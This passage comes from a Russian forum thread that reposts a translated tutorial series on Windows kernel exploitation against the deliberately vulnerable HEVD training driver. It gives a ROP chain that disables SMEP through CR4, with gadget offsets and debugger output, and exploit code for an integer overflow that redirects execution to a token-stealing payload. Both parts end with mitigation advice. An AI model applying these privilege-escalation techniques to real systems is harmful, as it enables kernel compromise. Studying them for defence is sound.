Теперь нужно найти способ контроля за содержимым регистра rcx. В статье, указанной выше, упоминается функция HvlEndSystemInterrupt:
kd> uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff802`cdb76b60 push rcx
fffff802`cdb76b62 push rax
fffff802`cdb76b63 push rdx
fffff802`cdb76b64 mov rdx,qword ptr gs:[6208h]
fffff802`cdb76b6d mov ecx,40000070h
fffff802`cdb76b72 btr dword ptr [rdx],0
fffff802`cdb76b76 jb nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e) Branch
nt!HvlEndSystemInterrupt+0x18:
fffff802`cdb76b78 xor eax,eax
fffff802`cdb76b7a mov edx,eax
fffff802`cdb76b7c wrmsr
nt!HvlEndSystemInterrupt+0x1e:
fffff802`cdb76b7e pop rdx
fffff802`cdb76b7f pop rax
fffff802`cdb76b80 pop rcx // Second gadget!
fffff802`cdb76b81 ret
kd> ? fffff802`cdb76b80 - nt
Evaluate expression: 1514368 = 00000000`00171b80
Гаджет #2 - pop rcx, адрес: nt + 0x171b80
ROP-цепь будет выглядеть следующим образом:
+------------------+
|pop rcx; ret | // nt + 0x424065
+------------------+
|value of rcx | // ? @cr4 & FFFFFFFF`FFEFFFFF
+------------------+
|mov cr4, rcx; ret | // nt + 0x424065
+------------------+
|addr of payload | // Available from user-mode
+------------------+

Важно отметить, что, если записать больше 8 начальных байт смещения в регистре RIP, следующий фрейм стека будет испорченным.

Восстановление потока выполнения

Рассмотрим подробнее стек перед тем, как вызывается функция memset:

Breakpoint 1 hit
HEVD!TriggerStackOverflow:
fffff801`71025640 mov qword ptr [rsp+8],rbx
kd> k
# Child-SP RetAddr Call Site
00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]
01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125]
02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229]
03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59
04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e
Проблема 1: Возврат к StackOverflowIoctlHandler+0x1a
Хотя адаптация стека для возврата к этому вызову работает, параметр в стеке (адрес структуры Irp) перезаписывается ROP-цепью и, насколько я знаю, не подлежит восстановлению. Впоследствии сей факт приводит к ошибке, связанной с нарушением доступа.
Смотрим инструкции по адресу TriggerStackOverflow+0xbc:
fffff801`710256f4 lea r11,[rsp+820h]
fffff801`710256fc mov rbx,qword ptr [r11+10h] // RBX should contain Irp's address, this is now overwritten to the new cr4 value
В итоге регистр rbx (в котором ранее хранился адрес IRP, используемого при вызове IrpDeviceIoCtlHandler) содержит новый адрес из регистра cr4, и при последующей попытке получить доступ возникает синий экран.
fffff801`f88d63e0 and qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????

Обратите внимание, что rbx содержит новое значение регистра cr4. Эта инструкция соответствует выражению

Irp->IoStatus.Information = 0;
внутри функции IrpDeviceIoCtlHandler.
Таким образом, мы не можем возвращаться к StackOverflowIoctlHandler+0x1a.
Проблема 2: Возврат к HEVD!IrpDeviceIoCtlHandler+0x149
Эта проблем схожа с той, которая упоминалась выше. Адрес структуры Irp портится и не может быть восстановлен. Выполнение следующих инструкций приводит к ошибке доступа.
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
Вы можете сделать так, чтобы rbx указывал на участок памяти, доступный для записи, однако навряд структура Irp окажется корректной во время вызова следующей функции:
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Опять тупик.

Проблема 3: Другие ошибки доступа


Поднимаемся в стеке на уровень выше к адресу nt!IofCallDriver+0x59. В процессе перехода никаких проблем не возникает, однако ошибки доступа в nt все равно есть.

Важно отслеживать состояние всех регистров при выполнении IOCTL-кода и во время обычных вызовов и во время вызовов, связанных с эксплуатацией уязвимости.

В нашем случае особое внимание следует уделять регистрам rdi и rsi. К сожалению, в системах x64 параметры передаются в регистры, и эти два регистра заполняются в функции
HEVD!TriggerStackOverflow.
fffff800`185756f4 lea r11,[rsp+820h]
fffff800`185756fc mov rbx,qword ptr [r11+10h]
fffff800`18575700 mov rsi,qword ptr [r11+18h] // Points to our first gadget
fffff800`18575704 mov rsp,r11
fffff800`18575707 pop rdi // Points to our corrupted buffer ("AAAAAAAA")
fffff800`18575708 ret

Эти два регистра обнуляются, если вы используете входной буфер, который не перезаписывает инструкцию RET (можно провести эксперимент, отправив небольшой буфер и проверив состояние вышеуказанных регистров перед возвратом из функции TriggerStackOverflow). Хотя это утверждение не является справедливым в случае порчи стека.

Иногда при достижении адреса nt!IofCallDriver+0x59 состояние регистров rsi и rdi может быть таким:
kd> u R RIP
nt!ObfDereferenceObject+0x5:
fffff800`152381c5 mov qword ptr [rsp+10h],rsi
fffff800`152381ca push rdi
fffff800`152381cb sub rsp,30h
fffff800`152381cf cmp dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
fffff800`152381d6 mov rsi,rcx
fffff800`152381d9 jne nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
fffff800`152381df or rbx,0FFFFFFFFFFFFFFFFh
fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
kd> ? @rsi
Evaluate expression: -8795734228891 = fffff800`1562c065 // Address of mov cr4,rcx instead of 0
kd> ? @rdi
Evaluate expression: 4702111234474983745 = 41414141`41414141 // Some offset from our buffer instead of 0

Поскольку регистры находятся не в том состоянии, которое нам нужно, мы можем просто иногда выполнять обнуление перед выполнением вышеуказанного кода. Например, сразу же после выполнения полезной нагрузки, предназначенной для кражи токена.

xor rsi, rsi
xor rdi, rdi
Последний шаг – добавление 0x40 в регистр rsp, чтобы в стеке была ссылка на фрейм по адресу nt!IofCallDriver+0x59.

Полная версия эксплоита находится здесь.

Как защититься от уязвимости


Несмотря на то, что мы имеем дело с банальной проблемой, связанной с переполнением стека, подобное все еще происходит повсеместно. Ключевые способы защиты:
    • Обрабатывать входные параметры. Не доверять пользовательским данным (и размеру этих данных). Использовать верхние/нижние границы.
    • Использовать параметр /GS (stack cookies).
Еще один железобетонный метод: писать драйвера для ядра только в случае крайней необходимости J.
Резюме
  • На первый взгляд, обход SMEP выглядит пугающе, однако, как вы могли убедиться, даже небольшая ROP-цепь способна справиться с этой задачей.
  • Восстановление потока выполнения может оказаться непростым из-за ошибок доступа. У каждого фрейма стека могут быть свои нюансы.
  • Важно следить за состоянием регистров. Обращайте внимание, на какие регистры влияет ваш эксплоит и, по возможности, восстанавливайте состояние этих регистров.
  • Смещения меняются крайней часто. Вполне вероятно, этот эксплоит не будет работать после следующего обновления.
 
Автор
Автор
german

german

Модератор
VIP
Подтвержденный
Регистрация
26.01.14
Сообщения
2,790
Реакции
1,335
Депозит
0
Покупок
1
Продаж
3
Telegram
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 5 – Целочисленное переполнение

В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения.

Автор: Mohamed Shahat

В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения. Многое будет взято из 3 и 4 части, поэтому эта статья довольно короткая.

Код экспоита находится здесь.

Суть уязвимости

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
SIZE_T TerminatorSize = sizeof(BufferTerminator);
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is not doing any arithmetic
// on the user supplied value. Instead, the developer is subtracting the size of
// ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
// not occur and this check will not fail
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");
// Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
// 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
// integer will wrap down and will finally cause this check to fail
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif
// Perform the copy operation
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}

Как можно понять по комментариям в коде выше, мы имеем дело с обычным целочисленным переполнением, которое стало возможным из-за того, что программист не предусмотрел передачу в драйвер буфера слишком большого объема. Любой размер от 0xfffffffc до 0xffffffff позволяет обойти проверку. Обратите внимание, что операция копирования завершается, если встречается символ завершения (хотя все же должно быть 4-байтовое выравнивание). Таким образом, нам не обязательно указывать размер буфера равный тому размеру, который мы передаем.

Эксплуатация уязвимости в системах x64

Параметр InBufferSize, передаваемый в функцию DeviceIoControl, размером DWORD или 4 байта. В 64-битном драйвере по адресу HEVD!TriggerIntegerOverflow+97 выполняется следующая проверка:
fffff800`bb1c5ac7 lea r11,[r12+4]
fffff800`bb1c5acc cmp r11,r13

В коде выше происходит сравнение 64-битных регистров (префикс/суффикс для преобразования к 32-битному представлению не используется). Соответственно, регистр r11 никогда не переполнится, поскольку туда устанавливается значение 0x100000003, из чего можно сделать вывод, что данную уязвимость нельзя использовать на 64-битных машинах.

Дополнение: как оказалось, причина, по которой обработка в 64-битных архитектурах выполняется корректно, в том, что все эти значения размером size_t.

Контроль потока выполнения

Вначале нужно выяснить для регистра EIP. Необходимо отослать небольшой буфер и вычислить смещением между адресом буфера в ядре и адресом возврата:

kd> g
[+] UserBuffer: 0x00060000
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x8ACF8274
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 3 hit
HEVD!TriggerIntegerOverflow+0x84:
93f8ca58 add esp,24h
kd> ? 0x8ACF8274 - E esp
Evaluate expression: 16 = 00000010
kd> ? (@ebp + 4) - 0x8ACF8274
Evaluate expression: 2088 = 828

Как упоминалось ранее, нам нужно иметь завершающее значение, выровненное по 4 байтам, иначе будет учитываться параметр Size, что в конечном итоге приведет к чтению вне пределов буфера и возможным ошибкам доступа.

Теперь мы знаем, что инструкция RET находится по смещению 2088. Соответственно, завершающее значение должно находиться по смещению 2088 + 4.

char* uBuffer = (char*)VirtualAlloc(
NULL,
2088 + 4 + 4, // EIP offset + 4 bytes for EIP + 4 bytes for terminator
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Constructing buffer
RtlFillMemory(uBuffer, SIZE, 'A');
// Overwriting EIP
DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
*payload_address = (DWORD)&StealToken;
// Copying terminator value
RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);
Того кода, который показан выше, вполне достаточно! В конце полезной нагрузки StealToken необходимо восполнить недостающий фрейм стека посредством вызова оставшихся инструкций (эта тема подробно рассматривалась в третьей части).
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly


Рисунок 1: Демонстрация работы эксплоита​

Полная версия эксплоита находится здесь.

Защита от уязвимости
  1. Уделяйте особое внимание участкам кода, где присутствуют арифметические операции (особенно, если данные, участвующие в этих операциях, приходят со стороны пользователя). Проверяйте, не выходят ли результаты операций, за пределы нижней/верхней границы.
  2. Используйте целочисленный тип, которых хранит все вероятные результаты сложения. Хотя подобное не всегда возможно.
Кроме того, полезно ознакомиться с классом SafeInt.

Резюме
  1. Данная уязвимость не пригодна к эксплуатации в 64-битных системах из-за метода проверки двух 64-битных регистров. Максимальное значение, передаваемое в функцию DeviceIoControl, никогда не будет переполнено.
  2. Передаваемый буфер должен содержать 4-байтовое завершающее значение. Этот трюк является самым простым при конструировании полезной нагрузки, которая должна удовлетворять определенным критериям.
  3. Хотя наш буфер не очень большого размера, оповещение драйвера о ложном размере все равно возможно.
 
Сверху Снизу